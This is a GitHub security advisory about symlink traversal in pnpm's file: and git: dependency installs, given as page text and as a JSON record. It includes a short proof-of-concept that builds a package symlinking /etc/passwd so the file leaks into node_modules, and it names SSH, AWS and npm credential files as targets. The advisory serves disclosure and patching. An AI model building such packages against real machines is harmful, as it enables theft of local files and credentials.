GHSA-M733-5W8F-5GGW

Vulnerability from github – Published: 2026-01-26 21:02 – Updated: 2026-01-26 21:02
VLAI?
Summary
pnpm has symlink traversal in file:/git dependencies
Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

# Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

  • Developers installing local/file dependencies
  • CI/CD pipelines installing git dependencies
  • Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity ?
6.7 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "pnpm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T21:02:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file\u0027s contents into `node_modules`, leaking local data.\n\n**Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.\n\n### Details\nThe vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default:\n\n```typescript\nconst absolutePath = path.join(dirname, relativePath)\nconst stat = fs.statSync(absolutePath)  // Follows symlinks!\nconst buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET\n```\n\nThere is no check that `absolutePath` resolves to a location inside the package directory.\n\n### PoC\n```bash\n# Create malicious package\nmkdir -p /tmp/evil \u0026\u0026 cd /tmp/evil\nln -s /etc/passwd leaked-passwd.txt\necho \u0027{\"name\":\"evil\",\"version\":\"1.0.0\",\"files\":[\"*.txt\"]}\u0027 \u003e package.json\n\n# Victim installs\nmkdir /tmp/victim \u0026\u0026 cd /tmp/victim\npnpm init \u0026\u0026 pnpm add file:../evil\n\n# Leaked!\ncat node_modules/evil/leaked-passwd.txt\n```\n\n### Impact\n- Developers installing local/file dependencies\n- CI/CD pipelines installing git dependencies\n- Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`\n\n### Suggested Fix\nUse `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`.",
  "id": "GHSA-m733-5w8f-5ggw",
  "modified": "2026-01-26T21:02:33Z",
  "published": "2026-01-26T21:02:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pnpm/pnpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pnpm has symlink traversal in file:/git dependencies"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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